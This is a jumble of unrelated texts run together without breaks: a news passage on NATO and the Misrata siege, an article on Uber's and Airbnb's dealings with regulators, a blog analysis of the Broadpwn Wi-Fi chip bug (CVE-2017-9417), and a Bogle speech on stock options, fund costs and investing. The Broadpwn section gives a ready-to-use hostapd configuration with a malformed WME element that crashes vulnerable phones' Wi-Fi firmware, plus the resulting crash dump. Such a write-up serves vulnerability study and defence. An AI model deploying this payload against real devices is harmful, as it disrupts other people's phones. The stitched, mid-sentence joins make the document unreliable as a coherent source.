He said he thinks that the British forces are trying to give "more coherence" and "greater capacity" to the efforts of the rebels to provide their own defense and that the alliance is trying to find more ways to keep up the pressure.
But he doesn't think using ground troops to get in the middle of intense urban conflict and civil war is on the allies' minds right now.
Keeping the pressure on Gadhafi and letting his forces know that the coalition is well intact is the hope, even if the allies don't want to fight house to house themselves, Flanagan said.
At the same time, he said, "it's hard to speculate. If Misrata fell would there be a turn?"
Another analyst, the Brookings Institution's Michael E. O'Hanlon, questions the hesitance of "casualty-averse" Western democracies to provide aid such as military training. He thinks more aid might turn out to be bolder and more helpful than keeping the forces they are supporting with air power at arm's length.
He said the allies shouldn't content themselves with "incrementalism."
"We may wind up providing some of the things we're skittish about," he said.
Meanwhile, Italian Foreign Minister Franco Frattini said Tuesday that the international Libya Contact Group, charged with helping map out Libya's future, will discuss ways Libyan rebels can facilitate the sale of oil from rebel-held areas to international outlets when the contact group meets in Rome next month.
Transitional National Council President Mustafa Abdul Jalil, speaking with Frattini, reminded the world again of Gadhafi's indiscriminate attacks in population centers.
Aid groups have been attempting to pluck desperate people from Misrata, which is hemmed in by Gadhafi's forces on three sides. The only escape route is by sea. The International Organization of Migration chartered boats to evacuate stranded migrant workers and Britain said it will help another 5,000 people get out.
Mohammed, an opposition spokesman who wanted to be identified only by his first name for safety reasons, said Misrata residents are disappointed with NATO, empowered by the United Nations to use force to protect civilians. But Misrata had not seen NATO airstrikes in several days, Mohammed said.
"Gadhafi's forces are not threatened by NATO anymore. The NATO planes are circulating as the destruction continues," he said.
NATO, however, reported progress in its mission. As of Monday, it had flown 771 sorties and 1,110 strike sorties.
The NATO operation destroyed seven ammunition bunkers in the Tripoli area and four air defense radars in the Misrata area this week, the alliance said, along with equipment in the areas of Zintan and Sirte, Gadhafi's hometown.
NATO has said Gadhafi's forces have started hiding resources in civilian areas, making airstrikes more difficult to carry out without harming civilians.
But Gadhafi's regime has given no sign of standing down.
Valerie Amos, U.N. under-secretary-general for humanitarian affairs and emergency relief coordinator, met with the Libyan regime over the weekend.
"Let me be absolutely clear. I got no guarantees with respect to my call for the overall cessation of hostilities to enable people to move, to enable us to deliver supplies," Amos said Monday. "I did get an assurance from the government to carry out a needs assessment in Misrata."
She added, "I have to say, in that instance, we got no guarantees at all that the violence would cease."
CNN's Reza Sayah, Yousuf Basil, Ben Wedeman and Joe Sterling contributed to this report.So far, Uber’s approach has not significantly slowed it down. The company operates in more than 300 cities in almost 60 countries and is valued by investors at more than $40 billion. But Uber’s aggressive attitude has put it at odds with regulators in many of the cities that are crucial to the company’s global ambitions.
“A lot of these start-ups initially don’t think much about regulation,” said Thilo Koslowski, head of the automotive practice at Gartner, a technology research company in California. “It’s all about having a punch strategy. They do things first, then ask questions later. As they mature, that starts to change.”
Airbnb has not gone unscathed by regulators. It has faced significant clampdowns in American cities like New York, where some local policy makers have argued that Airbnb rentals could reduce the amount of long-term housing in the city. And last year, Airbnb was fined in Europe for the first time for violating a law in the Catalonia region of Spain that forbids renting individual rooms for tourism purposes. Airbnb is appealing the roughly $33,000 fine.
But by and large, Airbnb’s approach has been to work with regulators, not against them.
In France, local Airbnb rentals started popping up a few months after the company was founded in 2008. Initially, the start-up had limited contact with local regulators, finding few who understood its business. But by 2012, shortly after the Paris listings began growing quickly, Airbnb opened an office in the city and started speaking regularly with local authorities. They continued to do so in 2013, when new housing legislation was being debated.
Now, to clamp down on illegal vacation rentals, a team of investigators in Paris regularly conducts inspections, with fines of up to $28,000 for people who break the law, a rule that Airbnb supports. In addition, by early 2016, the company will start collecting a tourist tax from its users on behalf of Paris authorities, making the French capital the second city in Europe after Amsterdam to offer that service.A cursory analysis of @nitayart's Broadpwn bug (CVE-2017-9417)
This is part 1 of a two-part series on Broadpwn: part 2 is here: Crashing phones with Wi-Fi: Exploiting nitayart's Broadpwn bug (CVE-2017-9417)
Out of curiousity, I looked into Nitay Artenstein's Broadpwn bug (CVE-2017-9417), which was patched in the July Android Security Bulletin.
TLDR
Broadpwn is a heap overflow on Broadcom Wi-Fi chips. It's triggered when a device receives a WME (Quality-of-Service) information element with a malformed length from a connected network. Scanning for networks without connecting doesn't seem to trigger the bug.
According to @nitayart, who discovered the bug, connecting to a malicious network is not necessary, but I haven't figured out how that would work.
This supposedly affects many recent Android and iOS devices with Broadcom Wi-Fi, but I only experienced effects on a Nexus 6P with June 2017 firmware, and did not seem to affect any iOS devices I tested.
To protect a device, you might want to ensure that it only connects to known good networks, and disable auto connection on unsecured networks.
I don't know anything else about this bug - I was just curious. You should wait for @nitayart - who discovered the bug - to present the findings.
Bug Description
To analyze the bug, I compared the June 2017 firmware on a Nexus 6P (N2G47W) with the patched July 2017 firmware (N2G48B).
I followed Project Zero's and Nexmon's guide to extract the firmware. The BCM4358 has two parts to its firmware; the RAM, which is mapped at 0x180000, can be found at /vendor/firmware/fw_bcmdhd.bin. The ROM, which is mapped at 0x0 and is patched by the RAM at runtime, can be dumped from the device. To do that, I followed Nexmon's guide, obtained a copy of dhdutil from LineageOS, and ran on my rooted device
#./dhdutil -i wlan0 membytes -r 0x0 0xA0000 > rom.bin
to dump the ROM.
I then installed the July firmware and repeated the steps. Then, I loaded the two firmwares into BinDiff, which found changes in function 0x1b8ad0.
An internet search identified this function as wlc_bss_parse_wme_ie. This function is called to handle association, reassociation, and beacon packets. These packets contain information elements, which contains data for extensions to the Wi-Fi standard. The format of each information element (IE) is:
type (1 byte), length (1 byte), data of (length) bytes
This function processes WME information elements, which are used for the Quality of Service extension. Here's the format of a WME information element:
(Image Source)
The bug occurs in the association/reassociation section. It copies the received IE to a preallocated heap buffer that's 24 (0x18) bytes long, sized for the largest valid WME information element, but uses the length from the information element header, which can be up to 255 (0xff), creating a heap out-of-bounds write of 231 bytes.
The patched firmware verifies the length of the IE: if it's not 24 bytes, the firmware ignores the IE, fixing the bug.
Triggering the bug
This bug can easily be reproduced, as the latest version of Hostapd, the standard software for setting up access points on a Linux computer, supports sending custom information elements.
My setup uses Ubuntu 14.04, hostapd 2.6 compiled from source with defconfig, and the integrated Intel Corporation Wireless 7260 (rev 6b) Wi-Fi card.
Hostapd config:
# WiFi Hotspot interface=wlan0 driver=nl80211 #Access Point ssid=YourNetworkNameHere hw_mode=g # WiFi Channel: channel=1 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 assocresp_elements=ddff0050f2020101000003a4000027a4000042435e0062322f00414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 vendor_elements=ddff0050f2020101000003a4000027a4000042435e0062322f00414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
Once the access point is setup, attempt to connect a vulnerable device to the new network. It should fail to connect, the wi-fi card should reset (the Wi-Fi config screen should go empty for a second), and in the device's dmesg should see:
[ 694.426930] CFG80211-ERROR) wl_cfg80211_disconnect : Reason 2 [ 694.926196] CFG80211-ERROR) wl_cfg80211_connect : timeout in waiting disconnect event [ 694.933149] CFG80211-ERROR) wl_cfg80211_connect : Connecting to ff:ff:ff:ff:ff:ff with channel (1) ssid YourNetworkNameHere [ 695.324023] wl_bss_connect_done succeeded with 41:41:41:41:41:41 [ 695.397981] PCIe shared addr read took 0 usec before dongle is ready [ 695.398360] DMA RX offset from shared Area 0 [ 695.398377] bus->txmode_push is set to 0 [ 695.398575] ring_info_raw: 56 [ 695.326927] "!wf_chspec_malformed(chspec)": file "bcmwifi_channels.c", line"!wf_chspec_malformed(chspec)": file "bcmwifi_channels.c", line [ 695.398592] 8c 97 23 00 5c 9a 23 00 04 9b 23 00 ac 9b 23 00 [ 695.398652] b8 9b 23 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 695.398699] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 695.398744] 00 00 00 00 2a 00 00 00 [ 695.398774] max H2D queues 42 [ 695.399363] CONSOLE: 37.4Mhz [ 695.399379] CONSOLE: 000000.173 wl0: wlc_enable_probe_req: state down, deferring setting of host flags [ 695.399388] CONSOLE: 000000.177 wl0: wl_open [ 695.399394] CONSOLE: 000003.640 wl0: link up (wl0) [ 695.399401] CONSOLE: 000003.645 [ 695.399412] CONSOLE: FWID 01-a2412ac4 [ 695.399420] CONSOLE: flags 60040005 [ 695.399425] CONSOLE: 000003.645 [ 695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf [ 695.399435] CONSOLE: 000003.645 dfsr 1, dfar 41414145 [ 695.399441] CONSOLE: 000003.645 r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048 [ 695.399449] CONSOLE: 000003.645 r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89 [ 695.399455] CONSOLE: 000003.645 [ 695.399460] CONSOLE: sp+0 00000002 0022cc00 0022d974 00217634 [ 695.399465] CONSOLE: 000003.645 sp+10 00000004 0001aa83 0022d97f 00000168 [ 695.399471] CONSOLE: [ 695.399476] CONSOLE: 000003.645 sp+14 0001aa83 [ 695.399481] CONSOLE: 000003.645 sp+38 000937 |
debasement of accounting standards; public auditors who became consultants to management, in effect, business partners; Wall Street sell-side analysts motivated by attracting investment banking clients; mutual fund managers who, succumbing to the spirit of the mania, put aside their training, experience, and skepticism. The speculative mania, like victory itself, had 1,000 fathers. The Role of Stock Options But if we had to name a single father of the bubble, we would hardly need a DNA test to do so. That father is the fixed-price stock option. When executives are paid for raising the price of their companies' stock rather than for increasing their companies' value, they don't need to be told what to do: Achieve strong, steady earnings growth and tell Wall Street about it. Set "guidance" targets with public pronouncements of your expectations, and then meet your targetsand do it consistently. First, do it the old-fashioned way, by increasing volumes, cutting costs, raising productivity, developing new products and services. But in a competitive economy, these targets are not easy to meet. So when you can't meet them by making, you meet them by counting. Push the accounting numbers to the edgeand sometimes beyond. Undertake mergers, not for business reasons but because of loopholes in accounting rules that allow such transactions to provide a short-term boost to earnings. And when all of that isn't enough, cheat. And, as we now know, a number of large firms did exactly that. The stated rationale for such stock options is that they "link the interests of management with the interest of shareholders." And if momentary stock prices were reliable indicators of intrinsic corporate values, that might even have been the case. But only if managers hold their stocks, just as the long-term shareholders do. But they don't. Academic studies indicate that nearly all in-the-money stock options are exercised as soon as they vest, and the stock is sold immediately. Indeed, the term "cashless exercise"where the firm lends the money to the executive for the purchase and is repaid when the proceeds of the sale are deliveredbecame commonplace. But the transitory nature of the holding period is hardly the only problem. By rewarding perception rather than reality, stock options are fundamentally flawed. Stock options are not adjusted for the cost of capital, thus providing a free-ride even for executives who produce only humdrum returns. Stock option prices are not adjusted for corporate dividends, so that there is a perverse incentive to avoid paying dividends. Stock options reward the absolute performance of a stock rather than performance relative to peers or to a stock market index, meaning that bull markets tend to create unworthy centimillionaires and bear markets tend to eliminate rewards even for worthy performers. Most of these issues could be resolved by the use of restricted stock, or by raising the option price each year, or by linking the stock performance with a market index, in each case requiring an extended holding period. What accounts for the fact that such incentives were rarely used? The fact is that all of those alternative schemes require corporations to expense the costs. (Heaven forbid!) The fixed-price option alone is conspicuous by its absence on the company's expense statement. (As the compensation consultants are wont to say, fixed-price stock options are "free.") I hope that the present move to expense all options gains momentum, so companies can get about the business of designing sound compensation programs that, at long last, fairly link the interests of management with the interests of shareholders. After the present awful era, surely shareholders deserve no less. How will we get that linkage? Shareholders will have to start acting like owners. While too many of our corporate stewards have failed to earn our faith, we mutual fund managers and our clients have, I fear, gotten the corporate governance that we deserve. For we have not acted as owners, focusing on corporate value and investing for the long-term. Rather, we have acted as traders, turning our portfolios over at an average of 110% per year, engaging in short-term speculation in stock prices. (We have been called, accurately I think, the "rent-a-stock industry.") Partly as a result, in the great bear market fallout, most giant institutional investors have been conspicuous only by their silence. If we simply act as good corporate citizens and recognize that ownership entails not only rights but responsibilities, we will again get the governance we deserve. If we all take the initiative to stand up and be counted, we will at last return to an era in which the great creative energy of American business and finance shifts from its short-term focus on the price of a stockspeculationto a long-term focus on the value of the corporationenterprise. When we do, our corporate stewards will respond appropriately, and that change will well-serve both investors and our nation. Actions and Reactions This process is already beginning. It turns out that Sir Isaac Newton's third law of motionfor every action there is an equal and opposite reactioncan also apply to our system of financial markets. The first reaction to the late bubble is that, like all bubbles, it burst. The bear market was the inevitable reaction to the bull market. The "new-economy" NASDAQ Index of unlisted stocks is down a stunning 78% from its high, and the largely "old economy" New York Stock Exchange Index is down 38%. (The principal difference between the two markets is that to be listed on the NYSE a company actually has to have earnings.) The action of the bubble drove the market value of NASDAQ stocks from 24% of the NYSE value in 1995 to 73% at the peak early in 2000. The subsequent reaction has returned it to 21%, just what it was in 1981, twenty years ago. Equal and opposite reaction indeed, and almost precisely so. What is more, a powerful reaction has already begun to the unacceptable actions of those we trusted to be our corporate stewards, of Wall Street, and of the accounting profession. Congress has passed the Sarbanes-Oxley bill, requiring senior corporate managers to attest to the validity of their companies' financial statements, providing for disgorgement of profits by executives who sell stocks and later restate earnings, and replacing self-regulation of accountants with a new federal Public Company Accounting Oversight Board, as well as other salutary provisions. The New York Stock Exchange is producing a powerful set of guidelines for corporate governance, including greater director independence, new standards for audit committees and compensation committees, and even a "lead director" who is independent of corporate management. (I believe that we should go further, and require that the board chairman be an independent director, separating the powers of governance from the powers of management.) The newly-formed Conference Board Blue-Ribbon Commission on Public Trust and Private Enterprise (on which I'm honored to serve) has already produced a strong set of best practices on executive compensation, with best practices on corporate governance and on accounting standards soon to follow. James Madison said, "if men were angels, we wouldn't need government." To which I would say to our corporate leaders, "if men were angels, we wouldn't need governance." And we're on our way to getting better governance right now. Investing Today: Look Forward, Not Back So today, after the fall, how should investors think about investing? It is a curious fact about financial markets that that they lead us to act in exactly the opposite direction of our best interests. As stocks reach new heights, we are exuberant (that's how stocks got there!) and our instincts tell us to buy. And as stocks tumble to new lows, we reach the point of maximum pessimism (that's largely how they get there!) and our instincts tell us to sell before it gets worse. (And sometimes our depleted balance sheets require us to sell.) But only a moment of common sense ought to remind us that buying at the high and selling at the low is no formulation for the accumulation of wealth. Let's look at some numbers that might help us to understand what returns might lie ahead for the stock market, and for the bond market as well. I, for one, place little credence in simply looking at the historical experience of these two principal asset classes, though, heaven knows, we have more than enough data to be confident that the record of the past is as the numbers tell us. But, as I've said a thousand times, "stock market returns are not actuarial tables." Whatever the case, the watchword of investing is uncertainty. To understand why the past cannot foretell the future, we need only heed Lord Keynes' words, written nearly 70 years ago: "It is dangerous... to apply to the future inductive arguments based on past experience, unless one can distinguish the broad reasons why past experience was what it was." But his warning also suggests that if we can distinguish the reasons why the past was what it was, we can then apply that very line of reasoning to the development of reasonable expectations about what may lie ahead. Keynes helped us make this distinction by pointing out that the state of long-term expectation is a combination of enterprise ("forecasting the prospective yield of assets over their whole life") and speculation ("forecasting the psychology of the market"). I'm well familiar with those words, for 52 years ago I incorporated them in that thesis at Princeton. Investment Return and Speculative Returns This dual nature of returns is clearly reflected in stock market history. Using Keynes' idea, I divide stock market returns into Investment Return (enterprise), consisting of the initial and dividend yield on stocks plus their subsequent earnings growth, and Speculative Return, the impact of charging price/earnings multiple on stock prices.1 Consider the record of stocks during the twentieth century. Note first the steady contribution of dividend yields to total return during each decade; always positive, only once outside the range of 3% to 5%. Note too that, with the exception of the depression-ridden 1930s, the contribution of earnings growth was positive in every decade, usually running between 4% and 7% per year. Result: Investment returns that only once (again, the 1930s) were less than 6% annually, and only twice more than 11%. Enter Speculative Return: Compared with the relative stability of dividends and earnings growth over the decades, large variations in speculative return punctuate the chart. While the spread between the best and worst investment return (again excluding the 1930s) was less than eight percentage points, the spread between the best and worst speculative return was twice as large16 percentage points, from +9% during the 1950s (when the price-earnings ratio soared from seven to 17 times) to -7% during the 1970s (when it tumbled from 16 times to seven times). Note, too, a curious phenomenon: Each decade of significantly negative speculative return was immediately followed by a decade in which it turned positive by a correlative amountthe quiet 1910s and then the roaring 1920s, the dispiriting 1940s and then the booming 1950s, the discouraging 1970s and then the booming 1980s. And then, amazingly, the booming speculative return repeats itself in the 1990sa pattern never seen before. If we had looked at this chart back on December 31, 1999, we would have observed that the average annual return on stocks during the century was 10.4%. Of this total, 10% represented investment return, about 5% from the initial dividend yield and another 5% from earnings growth. The remaining 0.6% came from the small net increase in the price-earnings ratio. Conclusion: In the long run, stock returns depend on the reality of the investment returns earned by business; the perception reflected by speculative returns counts for little. Put differently, over a long span of years, economics dominates equity returns; emotions, so dominant in the short run, dissolves. Returns in Retrospect, and in Prospect Looking at past experience based on the structure and composition of stock returns when 2000 began, as it turns out, would have helped us recognize a bubble that was about to burst. First, of course, was that unique two-consecutive-decade expansion in speculative return. Taken over twenty years, that 7.5% annual increase reflected a rise in the market's p/e ratio from seven times to 30.5 times, more than twice the century-long 15 times norm. If one naively believed that "this time is different," and that such a stratospheric ratio wouldn't decline, even the realization that any further expansion was unlikely would have suggested a future speculative return of zero. Second, the dividend component of investment return had fallen to an all-time low of 1.1%, eliminating this element as a major driver of future investment return. So the return on stocks would inevitably depend largely on earnings growth. How much might that growth be? Well, the long-term norm is 5%, and the average of the prior four decades was 6.8%, so a future earnings growth rate of 6% might have been a reasonable expectation. If so, investment return would have come to 7.1% for the coming 1999-2009 decade. My guess on speculative return was that the p/e ratio might drop to the neighborhood of 18 times, providing a negative contribution of about 5% per year. Result: An expected average return on stocks of less than 2% per year might lie ahead. As I assured anyone who asked, however, we certainly were not facing ten individual years each with a 2% returnstock markets just don't behave that way. More likely was a 40% or 50% drop over a few years, followed by a return to more normal returns, say in the range of 9% annually. As I've said so often, "while we may know what may happen in the market, we never know when." While I'd been uttering that conservative call of "wolf" (or "bear") over the previous several years, this time it proved correct. Three months into the new decade, the bear market began. With stock prices now down some 45% since 2000 began, much, perhaps all, of the bubble's excesses have been corrected. The dividend yield has nearly doubled, to almost 1.8%. With the same 6% earnings growth assumption (it could be higher... or lower), the future investment return could be in the 8% range. And with p/es now at 15 times (based on "normalized" operating earnings, which is a bit of a stretch), it's even possible we'll see a slight increaselet's say, to 18 timesperhaps adding a percentage point or so in speculative return during the next ten years, bringing the annual market return to 9%. Precision is not the object of the game, so let's say that reasonable expectations suggest a future average return to stocks in the range of, say, seven to ten percentbut surely with much higher returns in some years and much lower, even negative returns, in others. Put another way, absent good reason, it's unwise to expect stock returns to behave much differently then they have in the past. What About Bonds? Bonds are the customary alternative to stocks, and so let's now consider what returns they might provide in the future. It is a curious paradox that while history gives us few clues to what lies ahead, projecting future bond returns is far less mysterious than doing so for stocks. Indeed, expectations for bond returns over an extended period are reasonably easy to establish. Again, Keynes' analysis helps, for the investment return on bonds"forecasting the prospective yield of assets over their whole life"depends largely on the interest payments they generate. And, over the long-run, since bonds have a fixed maturity date, speculative return plays little role. Result: A remarkably high proportion of the subsequent ten-year investment return of bonds is explained simply by the current yield. The reason for this relationship is not complicated: If interest rates remain unchanged, the future return would be exactly equal to the current yield to maturity. If rates rise, bond prices would fall, reducing the return. But the higher reinvestment rate on each year's interest payment would have a countervailing impact, increasing the return. (And vice versa). In fact, the correlation between the initial yield and subsequent ten-year return of bonds is a healthy 0.91. (Perfect correlation would be 1.00.) For example, in 1980, the yield on an intermediate-term U.S. Treasury bond was 12.4%; the return during the subsequent decade was 12.5%. In 1990, the yield was 7.7%; the return in the following ten years was 7.5%. Today, with the 10-year Treasury bond yield at about 4%, its return in the coming decade is highly likely to range between, say, 3% and 5%. So we can be reasonably confident that we are looking at future bond returns that are, like those of stocks, a pale imitation of those we have enjoyed in recent decades. In stocks and bonds alike, it appears likely that future returns of both asset classes have returned to long-term historical norms. Indeed, the evidence is compelling that when decade-long real stock returns are inordinately high by historical standards, returns in subsequent decades are likely to tumble; when past returns are exceptionally low, future returns are apt to rise. What it's all about, it seems, is reversion to the mean. But, again, we can never be sure when the reversion will come.2 In any event, the sharp stock market decline, combined with the steep fall in interest rates, also suggests that we might expect a 3% or 4% equity risk premium, also quite similar to the historical norm. Of course uncertainty, as ever, rules the markets and our economy alike. But rational expectations are better than the emotions of the day in deciding how to allocate our investment assets between stocks and bonds. Who Earns the Market Returns? But whatever returns the financial markets are generous enough to deliver, don't make the mistake of thinking investors actually earn those returns. To explain why this is the case we need only to understand the simple mathematics of investing: All investors as a group must necessarily earn precisely the market return, but only before the costs of investing are deducted. After these costs are taken into accountall of the management fees, the transaction costs, the distribution costs, the marketing costs, the operating costs, and the hidden costs of financial intermediationthe returns of investors mustand willfall short of the market return by an amount precisely equal to the aggregate amount of those costs. Beating the market before costs is a zero-sum game; beating the market after costs is a loser's game. The returns earned by investors in the aggregate inevitably fall well short of the returns that are realized in our financial markets. The great paradox of investing is that the very costs incurred by those managers who would help investors to beat the market, themselves constitute the reason that they as a group are destined to fail at the task. Consider the costs entailed in the ownership of equity mutual funds. For the average fund, management fees and operating expenses, the "expense ratio," comes to about 1.6% per year of fund assets. (1.3% if weighted by fund assets, since larger funds typically have lower fees.) But the expense ratio is hardly the only cost fund shareholders incur. Indeed, when we add in sales charges, portfolio transaction costs, and opportunity cost (funds are rarely fully invested), the total cost of equity fund ownership roughly doubles, to at least 2½% per year. Do costs matter? You bet they do! And they matter most in financial instruments. Why? Because while much of the value of most consumer goods is measured by intangibles such as taste and tone and prestige and image, the value of financial products is measured almost entirely by the most measurable of all assets, dollars. And costs matter most in those financial instruments for which costs are (1) easily calculable, (2) directly related to returns, and (3) compounded over time. It should go without saying that the mutual fund is the paradigm of that definition. How Much Do Costs Matter? How much do costs matter? Let's look at an example: Since most individual investors are at a young age when they start their programs in an IRA or 401(k), they will still be investing, not only 50, but even 60, years from now, let's see what toll a 2½% annual cost would take on a 10% stock market return over a half century. When compounded over 50 years, each $1000 earning the stock market return of 10% would grow to $117,000. Each dollar in the fund, earning 7½% after costs, would grow to $37,000an $80,000 dead-weight loss engendered solely by reason of the costs of financial intermediation. Put another way, the investor puts up 100% of the capital, takes 100% of the risk, and receives 32% of the return. The intermediaries put up 0% of the capital, take 0% of the risk, and garner 68% of the return. It just doesn't seem like a fair deal. But the story gets worse. Intermediation costs are paid in current dollars, while the investor's final capital must be measured in constant dollars. Let's assume a future inflation rate of 2 ½%. Result: Real annual return for the market, 7.5%; real return for the fund investor, 5%. The final purchasing power of the initial $1,000 in the stock market falls to $37,000 in real terms, but to $11,000 in the fund. Just as the growth of $1,000 to $37,000 demonstrates the magic of compounding returns, so that reduction to $11,000 demonstrates the tyranny of compounding costs. But the fund industry's problems transcend these dismal economics. Our industry's basic principles are being compromised. Fund managers have moved away from being prudent guardians of their shareholders' resources and toward being imprudent promoters of their own wares. We have pandered to the public taste by bringing out new funds to capitalize on each new market fad, and we have magnified the problem by heavily advertising the returns earned by our hottest funds. Fund Returns vs. Fund Investor Returns The result of this powerful marketing is that mutual fund investors have fared far worse than mutual funds themselves. They invested infinitely more of their dollars in equity funds during the period immediately preceding the peak of the stock market bubble than in earlier years when values were at far more reasonable levels. What is more, they invested the overwhelming portion of those dollars in technology funds and technology-oriented growth funds (including internet funds!) rather than in value funds which, bless them, both lagged as the bubble inflated and held fairly steady as it burst. And now, after the fall, equity fund investors are liquidating their holdings, month after month. Early in 2001, an independent study showed that while the annual return of the stock market itself averaged 16% per year during the 1984-2000 period, the return of the average mutual fund averaged 13%, about the differential one would expect, given that fund costs amounted to about 2 ½% to 3% per year. But, because of the market timing and adverse selection issues I've just described, the annual return of the average mutual fund investor averaged just 5%. Today, the bear market has reduced that cumulative market return to about 11%, and the return of the average mutual fund to about 8%. If the previous relationship holdsthe fund investor lagging the fund return by 8%then the return of the average fund investor, during this excellent (from point to point!) period for stocks, was a mere break-even0%! It is not a record of which we should be proud. As our industry leaders accurately say, "the mutual fund industry has never had a major scandal," and certainly nothing like those we've seen among the corporate malefactors whom I've earlier described. But it's surely arguable that the astonishing shortfall in return that we've provided to our fund shareholders is itself scandalous. So we'd best learn from this recent sorry era in corporate America and put our own house in order. That task must begin by honoring the principle set down in the very first article of the Investment Company Act of 1940, which calls on mutual funds to be "organized and managed... in the interests of shareholders... (rather than) in the interests of investment advisers and underwriters." Yet we have, I fear, honored that traditional principle of fiduciary duty more in the breach than in the observance. So we need, first, a change in attitude and a return to our founding principles. Second, we need to reduce management fees, little of which (perhaps no more than 10%) are actually spent on investment management. By far the largest portion of the fee goes straight to the owners of the management companies themselves, who are rewarded with pre-tax profit margins in the 40%-50% range. (It's a living!) We must also reduce costs by reducing the substantial expense of portfolio turnover by, well, reducing that inevitably unproductive turnover itself. This change would also serve to move us toward how we ought to actas owners of stocksand away from how we act nowas traders of stocksand doubtless enhance the net returns of our funds as well. As real owners, we would be forced to observe our responsibilities of corporate citizenship, another vital step forward. These changes, I believe, will make mutual funds a far better investment medium for our clients. Six Rules of Investing Let me close with a few ideas about what you should think about as you look ahead, first as investors, and next as citizens. And here I'm going to speak primarily to the young men and women in the audience. While the frenzy of the financial markets creates a cacophonous daily din, most of what happens each day is simply irrelevant to sensible long-term investing. So as you think about your financial futures, let me urge you to follow these six simple investment rules: 1. Own Stocks. Whatever returns stocks and bonds are generous enough to provide over your lifetimes, the economics of capital formation as well as the record of history give you as much certainty as is available in this uncertain world that stocks will provide the higher returns of the two. So for the accumulation of long-term wealth, the simple magic of compounding calls for an important role for equities.
2. Never Ignore Risk. Stocks fluctuate, and widelya message forgotten early in the recent era but now etched in our memories. The boom and the bust were normaljust two more swings in stock returns over the past century. Reversion to the mean is the iron rule of the financial markets. By the accident of fate, as the ten-year moving averages in the earlier chart show, you're beginning your investment future with equities at far more reasonable values than at the hyped-up values of a few years ago. You are a blessed generation! 3. Invest Regularly. Dollar-averaging means you need not much concern yourself with market swings. Indeed, you should hope stocks remain at today's depressed levels for as long as you are investing, and then soar as you retire, as one day you will. But, more likely, you'll see, say, two long bull markets and two big bear markets during your investment lifetimes. Get ready for them. Accept whatever happens, and don't try to predict when. Keep economics in investing and emotions out. 4. Sensible Asset Allocation. I believe you should make your first investments largelyif not entirelyin stocks, but only with money you won't need for a long time. As your age and your assets increase, and the time to invest dwindles and the time to spend approaches, gradually increase your bond position. (A very rough rule of thumb: your bond percentage should equal your age.) 5. Diversify, Diversify, Diversify! Be sure to rely on widely-diversified portfolios of both bonds and stocks, simply because the greater the diversification, the lower the specific security (i.e. non-market) risk. Market risk is quite large enough, thank you, but you neither can, nor should, avoid it. So, minimize non-market risk, or even eliminate it by using a market index fund. 6. Minimize Costs. Mutual funds are expensive, so is trading individual stocks. Do your fishing in the low-cost-fund pond. Better yet, invest largely in the lowest-cost all-market (bond or stock) index fund you can find. It should assure that you will earn nearly 100% of the returns in the respective markets. And don't ignore tax costs. Put every penny that you can into your IRA and your thrift plan. Together, these six rules should help you win the investment game. It turns out that successful investing is about following common sense principles, and avoiding the myriad potholes that lie along the road of investing. You win by not losing. There may or may not be better winning strategies than putting, say, 80% of your investments into an equity index fund and 20% into a bond index fund when you begin investing at age 25, gradually reducing the equity ratio over the years so it is 30% when you're 70. But I can absolutely guarantee you that the number of worse strategies is infinite. Infinite! The Character of America And now to your role as citizens. I began these remarks by telling you of the idealism I held during my college days, and as I began my career. I want to close by telling you that even a long career in the competitive, dog-eat-dog, give-and-take of the mutual fund business hasn't dimmed my idealism one jot. Indeed, I believe that today there is even more idealism in my heart and soul than there was all those 51-plus years ago. At Vanguard, I did my best to create a company that strived to live up to those ideals. While the industry has yet to emulate them, I'm certain that moving in that direction is only a matter of time. Please don't underrate the power of idealism. This nation's founding fathers believed in high principles, in a moral society, and in the virtuous conduct of our affairs. Those beliefs shaped the very character of our nation. If character countsand I have absolutely no doubt that character does countthe failings of today's business and financial model, the willingness of those of us in the field of wealth management to accept practices that we know are wrong, the conformity that keeps us silent, the selfishness that lets greed overwhelm reason, all erode the character we'll require in the years ahead, especially in the post-September 11 era. The motivations of those who seek the rewards earned by engaging in commerce and finance struck the imagination of no less a man than Adam Smith as "something grand and beautiful and noble, well worth the toil and anxiety." Somehow, in our corporate governance system at the outset of the 21st century, Smith's great ideal has been lost in the shuffle. As you read about the state of capitalism in America each day, I can't imagine that you young citizens aren't thinking: "Wow! Our parents and grandparents really screwed it all up!" And you're right. The mutual fund industry today, charging ever higher costs, investing as traders rather than owners, and focusing on salesmanship rather than stewardship is not nearly as good an industry as it used to be, nor as it could be. And Corporate America today still has a long way to go to mend the damage done during the awful era that I believe is at last coming to a close. What should have been "owners' capitalism," where the idea is to serve the shareholder, was transmogrified into "managers' capitalism," placing the personal enrichment of executives as the highest priority.3 By ignoring their role in corporate governance, institutional investors share considerable responsibility for this debasement of our capitalistic system, and its high time we fixed it. And don't you dare get discouraged. You have the opportunity of a lifetimean opportunity to restore ethics, good practices, and a touch of altruism to corporate behavior and mutual fund behavior as well. What has been described as "a pathological mutation in capitalism" must be reversed, and it is your generation's great challenge to do so. So carry forward the ideals of your youth into the vineyards of business and investing. Maintain your optimism about America and the world. Never lose the exuberance of your college years for learning and discovery. Have the courage to speak out for what you hold high. Above all, in your approach to life and career alike, be tigers! I'll try to help in any way that I can. For, at this stage of my life, I feel like Ulysses must have felt after returning from his marvelous odyssey:... Come my friends,
'Tis not too late to seek a newer world.
Push off, and sitting well in order smite
The sounding furrows; for my purpose holds.
To sail beyond the sunset... 'til I die.
Tho much is taken, much abides, and 'tho
We are not now that strength which in old days
Moved earth and heaven, that which we are, we are;
One equal temper of heroic hearts,
Made weak by time and fate but strong in will
